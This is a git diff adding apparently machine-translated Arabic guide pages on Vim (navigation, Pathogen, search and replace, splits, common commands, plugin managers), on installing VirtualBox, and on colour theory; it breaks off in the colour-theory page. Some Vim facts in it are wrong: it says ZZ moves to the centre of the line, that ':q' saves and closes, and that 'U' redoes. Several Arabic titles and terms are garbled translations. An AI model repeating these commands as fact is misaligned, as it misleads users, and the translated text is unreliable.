index 0000000000..1eb190e7eb
--- /dev/null
+++ b/client/src/guide/arabic/vim/navigation/index.md
@@ -0,0 +1,42 @@
+---
+title: Navigation
+localeTitle: التنقل
+---
+## فيم للملاحة
+
+### حركة أساسية
+
+هناك العديد من الطرق لتحريك المؤشر في Vim ، ولكن هذه الحركات الأساسية ستسمح بذلك مستخدمين جدد للحصول على الراحة باستخدام الوضع العادي للملاحة الملف.
+
+*   في الوضع العادي ، تتوافق المفاتيح `h` و `j` و `k` و `l` لتحريك المؤشر حرف واحد يسارًا ، لأسفل ، لأعلى ، ولليمين ، على التوالي.
+    
+*   للتنقل عبر كلمة واحدة في كل مرة ، ستحرك المفاتيح `w` و `b` المؤشر إلى بداية الكلمة التالية ، أو بداية الكلمة السابقة. `e` ﺳﻴﺤﺮك اﻟﻤﻔﺘﺎح إﻟﻰ ﻧﻬﺎﻳﺔ اﻟﻜﻠﻤﺔ اﻟﺤﺎﻟﻴﺔ.
+    
+*   للانتقال إلى بداية السطر الحالي ، اكتب `0` ، والانتقال إلى النهاية السطر الحالي ، اكتب `$` .
+    
+*   أخيرًا ، للانتقال إلى السطر الأول في الملف ، اكتب `gg` ، والانتقال إلى السطر الأخير في الملف ، اكتب `G`
+    
+
+باختصار:
+
+ `h   moves one character left 
+ j   moves one row down 
+ k   moves one row up 
+ l   moves one character right 
+ 
+ w   moves to the beginning of the next word 
+ b   moves to the beginning of the previous word 
+ e   moves to the end of the current word 
+ 
+ 0   moves to the beginning of the current line 
+ $   moves to the end of the current line 
+ :n  moves to line n (ex. :23 moves to line 23) can also use nG 
+ 
+ ZZ  moves to the center of the line your on 
+ H   moves to the top of the screen 
+ M   moves to the middle of the screen 
+ L   moves to the bottom of the screen 
+ 
+ gg  moves to the first line in the file 
+ G   moves to the last line in the file 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/pathogen/index.md b/client/src/guide/arabic/vim/pathogen/index.md
new file mode 100644
index 0000000000..74e2570ad8
--- /dev/null
+++ b/client/src/guide/arabic/vim/pathogen/index.md
@@ -0,0 +1,47 @@
+---
+title: Pathogen
+localeTitle: العوامل الممرضة
+---
+## العوامل الممرضة
+
+الممرض يساعدك على إدارة مسار وقت التشغيل الخاص بك بكل سهولة.
+
+يتيح تثبيت حزمة بسهولة لفيم.
+
+قم بتشغيل الأوامر التالية:
+
+ `mkdir -p ~/.vim/autoload ~/.vim/bundle && \ 
+ curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim 
+` 
+
+* * *
+
+## التلاعب مسار Runtime
+
+أضف هذا الأمر إلى ملفك .vimrc:
+
+ `execute pathogen#infect() 
+` 
+
+إذا لم يكن لديك أي ملف .vimrc ، اكتب `vim ~/.vimrc` وقم بلصق هذا:
+
+ `execute pathogen#infect() 
+ syntax on 
+ filetype plugin indent on 
+` 
+
+هذا هو مثال أساسي جدا. في هذه اللحظة ، سيتم استخراج كل الإضافات إلى `~/.vim/bundle` وستتم إضافتها إلى _`runtimepath`_
+
+* * *
+
+#### | مثال
+
+إذا كنت ترغب في تثبيت مكونات مثل NERDTree ، فقم ببساطة بتشغيل هذا:
+
+ `cd ~/.vim/bundle 
+ git clone https://github.com/scrooloose/nerdtree 
+` 
+
+سيتم إضافته إلى \_ `runtimepath` .
+
+براند ressource من الإضافات [Vim](https://vimawesome.com) : [Vim Awesome](https://vimawesome.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/search-and-replace/index.md b/client/src/guide/arabic/vim/search-and-replace/index.md
new file mode 100644
index 0000000000..d1e7ad4cd6
--- /dev/null
+++ b/client/src/guide/arabic/vim/search-and-replace/index.md
@@ -0,0 +1,38 @@
+---
+title: Search and Replace
+localeTitle: بحث واستبدال
+---
+# البحث والاستبدال في فيم
+
+سيبحث البحث والاستبدال في vim عن جميع نسخ نمط النص المحدد واستبداله بسلسلة.
+
+### مفاتيح الأوامر
+
+الأوامر المستخدمة للبحث والاستبدال:
+
+*   `:substitute`
+*   `:s` (شكل مختصر مختصر للبديل)
+
+### هيكل القيادة
+
+الهيكل المستخدم للبحث والاستبدال:
+
+`:[range]` `s` / `[pattern]` / `[string]` / `[flags]` `[count]`
+
+أين…
+
+*   `[range]` يشير إلى الخطوط للبحث (مثل: `1` : السطر الأول ، `$` : السطر الأخير ، `%` : جميع الأسطر).
+*   `[pattern]` هو نمط النص المراد البحث عنه.
+*   `[string]` هي السلسلة التي ستحل محل نمط النص.
+*   `[flags]` تشغيل خيارات البحث والاستبدال الإضافية (مثل `c` : confirm substitution، `g` : استبدل كل التواجدات في كل سطر ، `i` : تجاهل الحالة).
+*   `[count]` محل في `[count]` خطوط بدءا من السطر الأخير في `[range]` (أو الخط الحالي إذا `[range]` حذف).
+
+### أمثلة شائعة
+
+فيما يلي بعض أمثلة البحث والاستبدال الشائعة:
+
+*   `:s/foo/bar/` بتغيير أول "foo" إلى "bar" في السطر الحالي.
+*   `:s/foo/bar/g` تغيير كل "foo" إلى "bar" في السطر الحالي.
+*   `:%s/foo/bar/g` تغيير كل "foo" إلى "bar" في جميع الأسطر.
+*   `:13s/foo/bar/g` تغيير كل "foo" إلى "bar" في السطر 13.
+*   `:%s/foo/bar/cgi` تغيير كل "foo" إلى "bar" في جميع الأسطر.
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/split/index.md b/client/src/guide/arabic/vim/split/index.md
new file mode 100644
index 0000000000..47e6f4a896
--- /dev/null
+++ b/client/src/guide/arabic/vim/split/index.md
@@ -0,0 +1,37 @@
+---
+title: Split
+localeTitle: انشق، مزق
+---
+# فتح الملفات في فيم مع سبليت
+
+في Vim ، يمكن فتح الملفات أو `split` أفقيًا وعموديًا لإنشاء إطار أو إطار عرض إضافي لملف معين.
+
+### مفاتيح الأوامر
+
+أوامر إنشاء انقسام أفقي:
+
+: `[N]split` `[file]`
+
+: `[N]sp` `[file]`
+
+حيث `sp` هو الاختصار المختصر `split` .
+
+أوامر إنشاء انقسام رأسي:
+
+: `[N]vsplit` `[file]`
+
+: `[N]vs` `[file]`
+
+حيث `vs` هو اختصار قصير ل `vsplit` و ...
+
+*   `[N]` هو الارتفاع (الافتراضي إلى نصف الإطار الحالي).
+*   `[file]` هو الملف الذي سيتم فتحه في النافذة المقسمة الجديدة (الملف الحالي المستخدم إذا لم يتم ذكره).
+
+### أمثلة
+
+بعض الأمثلة على استخدام الانقسام في Vim:
+
+*   : `sp` بتقسيم النافذة الحالية إلى نوافذ أفقية متساوية للملف الحالي.
+*   : `10sp` قسِّم النافذة الحالية لإنشاء نافذة جديدة بارتفاع 10 للملف الحالي.
+*   : `sp` `index.html` تقسيم النافذة الحالية إلى نوافذ أفقية متساوية وفتح `index.html` في النافذة الجديدة.
+*   : `vs` `main.css` تقسيم النافذة الحالية إلى نوافذ عمودية متساوية و `main.css` مفتوحة في النافذة الجديدة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/useful-commands/index.md b/client/src/guide/arabic/vim/useful-commands/index.md
new file mode 100644
index 0000000000..6dece290cd
--- /dev/null
+++ b/client/src/guide/arabic/vim/useful-commands/index.md
@@ -0,0 +1,148 @@
+---
+title: Useful Commands
+localeTitle: أوامر مفيدة
+---
+# أوامر مفيدة
+
+## وظائف أساسية
+
+على الأرجح ستجد نفسك في وضع "عادي" ، فإنه يسمح لك بإدخال الأوامر عن طريق الضغط على النقطتين `:` مفتاح. للوصول إلى هنا من أوضاع أخرى ، يمكنك كتابة `ctrl + c` أو `escape` .
+
+لتعديل النص والتنقل بطريقة مألوفة ، اضغط على `i` ، لوضع "insert". حاول التنقل باستخدام مفاتيح الأسهم في وضع "الإدراج" - راجع قسم "التنقل" أدناه للحصول على التفاصيل.
+
+اعتمادا على التكوين ، يمكنك إدخال متصفح الملفات عن طريق كتابة الأمر وإدخاله `:e .` في الوضع "العادي". و "e" تعني التعديل ، وفترة الملف أو الدليل.
+
+## التنقل
+
+*   حركة المؤشر: يمكنك استخدام إما مفاتيح الأسهم أو `h` ، `j` ، `k` ، `l` (يسار ، إلى أسفل ، إلى أعلى ، يمين)
+*   `gg` ينقلك إلى بداية الملف
+*   `G` ينقلك إلى نهاية الملف
+*   `:(num)` ينقلك إلى سطر معين في ملفك (ex-: 42 ينقلك إلى الخط 42)
+
+## إنقاذ
+
+1.  اضغط على `Escape` للتأكد من أنك في `normal mode` ؛
+2.  اكتب في `:w` ("w" تعني "كتابة") ؛
+3.  اضغط على `Enter` .
+
+## الحفظ (إلى ملف جديد)
+
+1.  اضغط على `Escape` للتأكد من أنك في `normal mode` .
+2.  اكتب in `:w newfilename` (newfilename هو اسم ملف الملف الجديد الذي تريد حفظه).
+3.  اضغط على `Enter` .
+
+## الخروج Vi، Vim، Nvim، Gvim
+
+1.  اضغط على الهروب لتحصل على وضع "عادي"
+2.  `:q` سوف يرحل vim
+3.  `:q!` سوف قوة إنهاء فيم
+4.  `:qa` هذا سيغلق جميع الملفات المفتوحة
+5.  `:qa!` يغلق جميع الملفات أثناء التخلي عن التغييرات
+6.  `:q` يحفظ ويغلق الملف الحالي
+
+(ملاحظة: الأمر `:q!` سوف يجبر Vim على الخروج دون حفظ. تأكد من الحفظ أولاً بكتابة الأمر `:w` إذا كنت لا تريد أن تفقد أي تغييرات قمت بها).
+
+**أو**
+
+*   اكتب ZZ (حفظ وإنهاء)
+*   النوع `:wq` / `:x` (حفظ `:wq` ولكن باستخدام الأوامر "w" و "q" شائعة الاستخدام)
+
+## قص ونسخ ولصق
+
+*   `dd` يحذف (تخفيضات) سطر واحد
+*   `yy` yanks (نسخ) سطر واحد
+*   يمكنك استخدام `yy` و `dd` مسبوقًا برقم لقص أو نسخ أسطر متعددة (سيؤدي `13dd` سابقًا إلى قطع 13 سطرًا)
+*   `p` لصق كل شيء من عازلة لصق
+
+## لصق كتل من التعليمات البرمجية
+
+في كثير من الأحيان ستجد نفسك تبحث عن حلول للمشاكل ، والعثور على شخص ما قد كتب كتلة من التعليمات البرمجية التي تفعل بالضبط ما تريد. إذا حاولت نسخ التعليمة البرمجية ولصقها مباشرةً في Vim ، فقد تجد أن الشفرة قد تم تنسيقها بشكل غريب أو لم يتم لصقها بشكل صحيح. يرجع ذلك إلى حقيقة أن فيم يقرأ كل حرف تقوم بلصقه بعد الآخر ، مما يعني أنه سيتم تنفيذ أي من مجموعات المفاتيح التي تقوم بتنشيط اختصار فيم ، وسوف يحاول فيم (وفشل) أن يقوم بادئة الكود الذي تم لصقه تلقائيًا.
+
+للتغلب على هذا ، يمكنك استخدام **وضع لصق** Vim الذي يمكنك تنشيطه عن طريق إدخال الوضع العادي (اضغط على `escape` أو `crtl + c` ) واكتب `:set paste` ، ثم اضغط على ENTER. أنت الآن في وضع _اللصق_ . يمكنك بعد ذلك إدخال وضع الإدراج مع `i` ولصق كتلة النص / التعليمات البرمجية دون أي مشاكل! للعودة إلى Vim العادي دون وضع اللصق ، يمكنك الدخول إلى الوضع العادي ( `escape` or `crtl + c` ) ثم اكتب `:set nopaste` ، ثم اضغط على ENTER.
+
+## ضبط أرقام الخطوط
+
+1.  اضغط على الهروب لتحصل على وضع "عادي"
+2.  النوع `:set number` ، اضغط على Enter
+
+لتعيين أرقام الأسطر بشكل افتراضي:
+
+1.  افتح / أنشئ ملف تهيئة `vim ~/.vimrc` باستخدام `vim ~/.vimrc`
+2.  إضافة `set number` الخط ، اضغط على Enter
+
+## فتح ملف داخل VIM
+
+في VIM ، يمكنك فتح ملف داخل نفس النافذة عن طريق تعيين المؤشر على مسار وكتابة `gf` . سيخبر هذا VIM أن النص الحالي الذي يقع عليه المؤشر هو الملف الذي تريد فتحه. سيتم فتح الملف داخل محطة VIM حتى إذا كنت تريد العودة إلى النافذة السابقة ، فقط اكتب `ctrl+o` . سيخبر هذا VIM بالانتقال إلى الشاشة السابقة.
+
+## كيفية تقسيم النوافذ
+
+يمكنك تقسيم نوافذ vim وتحرير ملفين أو أكثر في نفس الوقت.
+
+*   `:split` -> نافذة الانقسام (أفقي)
+*   `:vsplit` -> نافذة الانقسام (عمودي)
+*   `:vertical` جديد -> فتح ملف جديد في نافذة جديدة
+
+للتنقل بين النوافذ ، يمكنك استخدام الأوامر التالية:
+
+*   `CTRL-W h` - انتقل إلى النافذة على اليسار
+*   `CTRL-W j` - انتقل إلى النافذة أدناه
+*   `CTRL-W k` - انتقل إلى النافذة أعلاه
+*   `CTRL-W l` - الانتقال إلى النافذة على اليمين
+*   `CTRL-W t` - للانتقال إلى النافذة العلوية
+*   `CTRL-W b` - الانتقال إلى النافذة السفلية
+
+## التراجع عن إعادته
+
+يجب تنفيذ هذه الإجراءات في **الوضع العادي** .
+
+**التراجع** : اضغط على `u` أو اكتب `:undo` واضغط على `Enter` .
+
+**الإعادة** : اضغط على `U` ( `Shift` + `u` ) أو اكتب `:redo` واضغط على `Enter` .
+
+## فتح ملف في سطر معين
+
+*   vi filename + n، where n is the line number
+
+## فتح ملف يبحث عن كلمة / مصطلح
+
+*   vi filename + / word، where word is what you are looking for. سيتم وضع المؤشر على أول ظهور للكلمة.
+
+## البحث عن ملف في فيم
+
+عندما تكون في الوضع العادي (اضغط على مفتاح `escape` للتأكد) ، يمكنك البحث عن أي مصطلح في الوثيقة بكتابة `/` ، متبوعًا بالمصطلح الذي تبحث عنه ، ثم الضغط على `enter` . على سبيل المثال ، اكتب `/hello` واضغط على `enter` للبحث عن الكلمة "hello" في الملف الحالي.
+
+يمكنك التخطي إلى التكرار التالي لمصطلح البحث الخاص بك عن طريق الضغط على `n` ، أو التكرار السابق بالضغط على `N` `*` يبحث عن الكلمة تحت المؤشر.
+
+إذا كنت ترغب في تمييز جميع أنواع مطابقة البحث `:set hlsearch` أو استخدم الأمر المختصر `:set hls` . الاستخدام `:set noh` لإيقاف تشغيل التمييز حتى البحث التالي.
+
+## تجميع المشروع
+
+همة لديها التكامل ضيق جدا مع `make` أداة بناء الأتمتة. إذا كان مشروعك يستخدم Makefile ، فيمكنك كتابة `:make` at Vim command line لتشغيل أداة `make` الخاصة بالنظام الخاص بك. وفيم طباعة إخراج `make` على الشاشة وتجلب لك إلى الخطأ الأول، إن وجدت، عندما `make` يكمل الأوامر. يمكنك بعد ذلك الانتقال من خلال أخطاء التحويل البرمجي والتحذيرات في رمز المشروع باستخدام الأمرين `:cn` و `:cp` ، بالنسبة إلى `:cp` التاليين والسابقين على التوالي.
+
+## ابحث واستبدل
+
+1.  اضغط على `Escape` للتأكد من `normal mode` في `normal mode` ؛
+2.  اكتب `:` (ستنتقل إلى `command mode` ) ؛
+3.  اكتب `%s,word_to_be_replaced,new_word,g` ؛
+4.  اضغط على `ENTER` .
+
+هام: إذا كنت تريد استبدال التكرار الأول للكلمة ، فأزل `g` في النهاية.
+
+## أريد أن أتعلم فيم!
+
+للمبتدئين ، تأتي فيم مع برنامج تعليمي مدمج! يمكنك الوصول إليه عن طريق تشغيل `vimtutor` من المحطة الطرفية الخاصة بك وهذا سيطلق برنامج تعليمي تفاعلي حول _كيفية البدء مع Vim_ (يستغرق حوالي 15 دقيقة للعمل من خلاله).
+
+إذا لم تكن واثقاً من اللغة الإنجليزية ، فيمكنك أن `vimtutor` لك `vimtutor` لغتك المفضلة. على سبيل المثال سوف `vimtutor fr` بدء البرنامج التعليمي باللغة الفرنسية!
+
+## أوامر أخرى مفيدة
+
+*   `gg=G` يحدد المسافة البادئة للملف بأكمله
+*   إذا كنت تريد معرفة المزيد عن أمر معين ، اكتب `:help` متبوعًا باسم الأمر (ex-: help: w)
+
+اقرأ بقية دليل Vim الخاص بنا للحصول على فهم أفضل لهذا المحرر القوي.
+
+## موارد آخرى
+
+*   [Vim Golf](https://vimgolf.com/) - طريقة جيدة للتعلم من القيام بتحديات vim للحصول على أقل كمية من ضغطات المفاتيح. يمكنك رؤية الحلول المقدمة من قبل الآخرين إذا لم تتمكن من تحديد التحدي.
+*   [Vim Adventures](https://vim-adventures.com/) - طريقة مرحة ومسلية لتعلم Vim حيث يمكنك تحديد المسارات الرئيسية المختلفة مع كل مستوى جديد في اللعبة.
+*   [Open Vim](http://www.openvim.com/) - برنامج تعليمي تعليمي تفاعلي يقوم بتعليم الأوامر الأساسية
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/vim-plug/index.md b/client/src/guide/arabic/vim/vim-plug/index.md
new file mode 100644
index 0000000000..236faecebf
--- /dev/null
+++ b/client/src/guide/arabic/vim/vim-plug/index.md
@@ -0,0 +1,36 @@
+---
+title: Vim-Plug
+localeTitle: فيم التوصيل
+---
+## فيم التوصيل
+
+Vim-Plug الحد الأدنى مدير VIM المساعد.
+
+### الايجابيات:
+
+*   أسهل الإعداد: ملف واحد. لا يوجد رمز مرجعي مطلوب.
+*   أسهل في الاستخدام: موجز ، بناء جملة بديهي.
+*   تركيب / تحديث متوازي بسرعة فائقة (مع أي من `+job` ، `+python` ، `+python3` ، `+ruby` ، أو Neovim).
+*   يخلق الحيوانات المستنسخة الضحلة لتقليل استخدام مساحة القرص ووقت التنزيل.
+*   تحميل عند الطلب للحصول على وقت بدء أسرع.
+*   يمكن مراجعة وتحديثات العودة إلى الحالة السابقة.
+*   الفرع / العلامة / دعم الالتزام.
+*   خطافات ما بعد التحديث.
+*   دعم المكونات الإضافية التي تتم إدارتها خارجيًا.
+
+يمكنك العثور على دليل التثبيت [هنا](https://github.com/junegunn/vim-plug#installation) .
+
+بعض المكونات الإضافية المفيدة لبدء الاستخدام هي:
+
+*   [nerdtree](https://github.com/scrooloose/nerdtree) - مستكشف نظام الملفات لـ Vim.
+*   [Emmet-vim](https://github.com/mattn/emmet-vim/) - دعم لتوسيع الاختصارات المشابهة لـ [emmet](https://emmet.io/) .
+*   [vim-polygot](https://github.com/sheerun/vim-polyglot) - حزمة لغة متينة لـ Vim.
+*   [؛ Auto Pairs](https://github.com/jiangmiao/auto-pairs) - إدراج أو حذف الأقواس ، والأرانب ، ونقلت في الزوج.
+*   [fugitive.vim](https://github.com/tpope/vim-fugitive) - غيت المجمع لفيم.
+
+يمكنك إضافة المزيد من المكونات الإضافية إلى تثبيت Vim الخاص بك.
+
+#### معلومات اكثر:
+
+*   [مستودع جيثب](https://github.com/junegunn/vim-plug) - Vim-Plug
+*   [VimAwesome](https://vimawesome.com/) - اكتشف ملحقات Vim
\ No newline at end of file
diff --git a/client/src/guide/arabic/vim/vundle/index.md b/client/src/guide/arabic/vim/vundle/index.md
new file mode 100644
index 0000000000..b9934e381e
--- /dev/null
+++ b/client/src/guide/arabic/vim/vundle/index.md
@@ -0,0 +1,34 @@
+---
+title: Vundle
+localeTitle: اللحمة
+---
+## Vundle
+
+Vundle قصير لحزمة Vim وهو مدير Vim plugin.
+
+يسمح لك ...
+
+*   تتبع وتكوين المكونات الإضافية الخاصة بك في `~/.vimrc` ( [ملف](https://stackoverflow.com/questions/164847/what-is-in-your-vimrc) لتخصيص Vim)
+*   تثبيت المكونات الإضافية التي تمت تهيئتها (ويعرف أيضًا باسم البرامج النصية / الحزمة)
+*   تحديث المكونات الإضافية المكونة
+*   البحث عن طريق الاسم جميع النصوص المتاحة فيم
+*   المكونات غير المستخدمة نظيفة حتى
+*   قم بتشغيل الإجراءات المذكورة أعلاه في ضغطة واحدة مع وضع تفاعلي
+
+للبدء ، اتبع [هذا الدليل](https://github.com/VundleVim/Vundle.Vim#quick-start) .
+
+بعض المكونات الإضافية المفيدة لبدء الاستخدام هي:
+
+*   [nerdtree](https://github.com/scrooloose/nerdtree) - مستكشف ملف شجرة
+*   [syntastic](https://github.com/vim-syntastic/syntastic) أو [ale](https://github.com/w0rp/ale) - مدقق النحو / linter
+*   [tagbar](https://github.com/majutsushi/tagbar) - يعرض علامات في نافذة
+*   [ctrlp](https://github.com/kien/ctrlp.vim) - ملف ضبابي ، عازلة ، mru ، علامة ، وما إلى ذلك مكتشف
+*   [gitgutter](https://github.com/airblade/vim-gitgutter) - يظهر فرق git في الميزاب (عمود التوقيع)
+*   [الهارب](https://github.com/tpope/vim-fugitive) - غيت المجمع
+*   [delimitMate](https://github.com/Raimondi/delimitMate) - الإكمال التلقائي لوضع الإدراج [لعلامات](https://github.com/Raimondi/delimitMate) التنصيص والأقواس والأقواس ، إلخ
+*   [tcomment](https://github.com/tomtom/tcomment_vim) - تعليق خطوط مهما كانت اللغة
+*   [وأطنان أكثر!](https://vimawesome.com/)
+
+#### معلومات اكثر:
+
+*   [مستودع جيثب](https://github.com/VundleVim/Vundle.Vim)
\ No newline at end of file
diff --git a/client/src/guide/arabic/virtualbox/index.md b/client/src/guide/arabic/virtualbox/index.md
new file mode 100644
index 0000000000..666d176ff0
--- /dev/null
+++ b/client/src/guide/arabic/virtualbox/index.md
@@ -0,0 +1,77 @@
+---
+title: VirtualBox
+localeTitle: فيرتثلبوإكس
+---
+# فيرتثلبوإكس
+
+![](https://upload.wikimedia.org/wikipedia/commons/d/d5/Virtualbox_logo.png)
+
+VirtualBox هو برنامج مفتوح المصدر Virtual Machine من Oracle. فهو يسمح للمستخدمين بتثبيت العديد من أنظمة التشغيل فعليًا على محركات الأقراص الظاهرية ، بما في ذلك Windows ، و BSD ، و Linux ، و Solaris ، إلخ.
+
+# التركيب
+
+يمكن تنزيل VirtualBox هنا: [فيرتثلبوإكس التنزيلات](https://www.virtualbox.org/wiki/Downloads)
+
+# اقامة
+
+*   لإعداد جهازك الظاهري الأول ، قم بتنزيل ملف .iso من موقع نظام التشغيل الذي تريده.
+    
+*   بعد ذلك سوف تضغط على الزر "جديد" في VirtualBox ، وتسمية جهاز VM الخاص بك مع أي اسم تريده.
+    
+*   سيتم تشغيل التطبيق من خلال العديد من التهيئات. الأهم من ذلك ، لاحظ مقدار التخزين الذي تختاره محرك الأقراص. هذا هو الحد الأقصى للحجم الذي يمكن أن يكون عليه ملف الآلة ، والذي سيشغل التخزين على جهازك. أيضا ، لا كيف الكثير من الذاكرة التي توفرها الجهاز ، لأن هذه الموارد لن تكون متاحة لنظام التشغيل المضيف أثناء تشغيل جهاز VM.
+    
+
+لمزيد من المعلومات ، يرجى زيارة [فيرتثلبوإكس دليل الفصل 1](https://www.virtualbox.org/manual/ch01.html)
+
+# قم بتشغيل الجهاز
+
+*   حدد VM الجديد ، وانقر فوق إعدادات ، وانتقل إلى علامة التبويب التخزين.
+    
+*   انقر فوق الزر "إضافة محرك الأقراص الضوئية" على شكل قرص على سطر "تحكم IDE".
+    
+*   اختر ملف .iso الخاص بك
+    
+*   أغلق الإعدادات واضغط على Start!
+    
+*   الآن سيقوم جهازك بتشغيل وتثبيت نظام التشغيل على محرك الأقراص الظاهري.
+    
+*   بعد الانتهاء من جهازك للمرة الأولى ، ارجع إلى علامة التبويب التخزين في الإعدادات. تأكد من إزالته ملف .iso ، أو قم بإزالة فتحة محرك الأقراص الفارغة. يجب أن يكون هناك واحد فقط.
+    
+    تهانينا! لقد قمت بتشغيل الجهاز الظاهري الأول في فيرتثلبوإكس.
+    
+    زيارة [دليل فيرتثلبوإكس](https://www.virtualbox.org/manual/UserManual.html) لمزيد من المعلومات حول استخدام وتكوين الآلات.
+    
+
+يعد Oracle VM VirtualBox منتجًا محوريًا فعالًا عبر الأنظمة الأساسية مخصصًا للمؤسسات أو للاستخدام الشخصي. فيرتثلبوإكس متوفر مجاناً كبرنامج مفتوح المصدر تحت رخصة جنو العمومية العامة (GPL) الإصدار 2.
+
+يمتد VirtualBox من قدرات الكمبيوتر الموجودة لديك بحيث يمكن تشغيل أنظمة تشغيل متعددة ، حتى يمكنك تشغيل VirtualBox داخل جهاز ظاهري ، لتشغيل نظام تشغيل آخر ، كل ذلك على نفس جهاز الكمبيوتر ، والحدود الوحيدة هي مساحة القرص والذاكرة.
+
+VirtualBox هو حل بسيط ل:
+
+*   تشغيل أنظمة تشغيل متعددة في وقت واحد.
+*   لا يلزم إعادة التشغيل لاستخدام برنامج محدد قد لا يكون مدعومًا من قِبل نظام التشغيل قيد الاستخدام.
+*   تسهيلات البرامج الأسهل
+*   يمكن حزم إعداد كامل للنظام في جهاز ظاهري.
+*   اختبار واستعادة القدرة على العمل بعد الكوارث
+*   يمكن تجربة بحرية مع بيئة الحوسبة ، دون أن تؤثر على أي شيء خارج الجهاز الظاهري.
+*   دمج البنية التحتية
+*   المحاكاة الافتراضية تقلل إلى حد كبير من تكاليف الأجهزة والكهرباء.
+
+يدعم المربع الظاهري مجموعة واسعة من أنظمة التشغيل:
+
+*   شبابيك
+*   لينكس
+*   ماكنتوش
+*   Solaris Hosts
+*   بالإضافة إلى عدد كبير من أنظمة تشغيل الضيف: (بما في ذلك على سبيل المثال لا الحصر):
+*   Windows (NT 4.0 ، 2000 ، XP ، Server 2003 ، Vista ، Windows 7 ، Windows 8 ، Windows 10)
+*   DOS / Windows 3.x
+*   Linux (2.4 و 2.6 و 3.x و 4.x)
+*   سولاريس و OpenSolaris
+*   OS / 2
+*   اكبر برهان
+
+#### معلومات اكثر:
+
+*   [virtualbox.org](https://www.virtualbox.org)
+*   [كيفية إعداد بيئة linux محلية مع المتشرد](https://medium.com/@JohnFoderaro/how-to-set-up-a-local-linux-environment-with-vagrant-163f0ba4da77)
\ No newline at end of file
diff --git a/client/src/guide/arabic/virtualbox/install-virtualbox-on-macos/index.md b/client/src/guide/arabic/virtualbox/install-virtualbox-on-macos/index.md
new file mode 100644
index 0000000000..f93120c2b2
--- /dev/null
+++ b/client/src/guide/arabic/virtualbox/install-virtualbox-on-macos/index.md
@@ -0,0 +1,31 @@
+---
+title: Install VirtualBox On macOS
+localeTitle: تثبيت فيرتثلبوإكس على ماكوس
+---
+## تثبيت فيرتثلبوإكس على ماكوس
+
+### الخطوة 1 - زيارة الموقع الرسمي VirtualBox وتحميل
+
+[هنا](https://www.virtualbox.org/wiki/Downloads) لزيارة الموقع. سترى الصفحة التالية. انقر على "OS X host" وسيتم تنزيل ملف dmg تلقائيًا ، والذي يتضمن الملف تطبيق VirtualBox.
+
+![فيرتثلبوإكس موقع offcial](https://i.imgur.com/O16uc8E.png)
+
+### الخطوة 2 - انقر فوق ملف dmg
+
+انقر على ملف dmg الذي تم تنزيله للتو ، وستظهر لك شاشة التحقق. انقر نقرًا مزدوجًا فوق رمز المربع الذي يحمل الاسم "VirtualBox.pkg". سيظهر هذا شاشة التثبيت.
+
+![فتح ملف dmg](https://i.imgur.com/AyvSsLk.png)
+
+### الخطوة 3 - تثبيت فيرتثلبوإكس
+
+عندما ترى الشاشة مماثلة مع الصورة التالية. يمكنك النقر فوق التالي حتى انتهاء التثبيت.
+
+**ملاحظة** : ستلاحظ أن نظام MacOS الخاص بك لم يسمح بالمصدر غير المعروف. إذا رأيت مربع المطالبة ، فاضغط على زر الإعداد بدلاً من الزر "موافق". يمكنك تحديد خيار `allow` في الإعدادات وإعادة التثبيت.
+
+![نوافذ التثبيت](https://i.imgur.com/4RY0hVu.png)
+
+### قم بتشغيل VirtualBox
+
+بمجرد الانتهاء من التثبيت ، يمكنك فتح VirtualBox في "Launchpad". أو ابحث عن `VirtualBox` في Spotlight.
+
+![Launchpad مع VirtualBox](https://i.imgur.com/hsEjqfm.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/visual-design/color-theory/color-and-culture/index.md b/client/src/guide/arabic/visual-design/color-theory/color-and-culture/index.md
new file mode 100644
index 0000000000..70fdd54c71
--- /dev/null
+++ b/client/src/guide/arabic/visual-design/color-theory/color-and-culture/index.md
@@ -0,0 +1,19 @@
+---
+title: Color and Culture in Visual Design
+localeTitle: اللون والثقافة في التصميم المرئي
+---
+## اللون والثقافة في التصميم المرئي
+
+اللون يساهم ويؤثر على السياق. يقبل فينغ شوي هذا المبدأ ، سواء كانت استراتيجية ديكور معاصرة للغرب ، أو كجزء من ممارسة صينية تقليدية. من هذا ، من يمكن أن يختلف مع فرضية أن الثقافة وعلم النفس يؤثران على كيفية تفسير الألوان في سياق المعلومات؟ قد تمثل أيضًا مجموعات محددة من الألوان رموزًا ، مثل ألوان العلم الوطني أو فريق رياضي مفضل أو مدرسة أو مؤسسة على سبيل المثال.
+
+الألوان هي واحدة من أول الانطباعات التي يتعرف عليها المشاهد ويفسرها في الاتصالات - قبل قراءة الحروف ، والأرقام التي تم تحليلها ، والرسوم البيانية التي تم تفسيرها. هذا هو السبب في أهمية البحث عن [التحيز الذي](/working-in-tech/unconscious-bias/index.md) قد يكون لدى [المشاهدين](/working-in-tech/unconscious-bias/index.md) . قد يؤدي لوح الألوان إلى تغيير سياق ومعنى المحتوى الذي تنشره.
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[قوس قزح في الثقافة (Wikipedia.org)](https://en.wikipedia.org/wiki/Rainbows_in_culture)
+
+[اللون في الثقافة (فئة Wikipedia)](https://en.wikipedia.org/wiki/Category:Color_in_culture)
+
+[اللون وعلم النفس (Wikipedia.org)](https://en.wikipedia.org/wiki/Color_psychology)
\ No newline at end of file
diff --git a/client/src/guide/arabic/visual-design/color-theory/index.md b/client/src/guide/arabic/visual-design/color-theory/index.md
new file mode 100644
index 0000000000..e70cecdee0
--- /dev/null
+++ b/client/src/guide/arabic/visual-design/color-theory/index.md
@@ -0,0 +1,69 @@
+---
+title: Color Theory
+localeTitle: نظرية اللون
+---
+## نظرية اللون
+
+نظرية اللون هو تطبيق عملي لخلط الألوان واستخدام اللون لتحقيق تأثير مرئي معين.
+
+تستخدم الألوان في جميع أنواع الطرق.
+
+غالباً ما يتم تقييد اختيار الألوان في العرض المرئي من قبل الأجهزة والبرامج التي تعمل على الأجهزة وقيود العين البشرية والتغيرات في كيفية إدراك البشر للون.
+
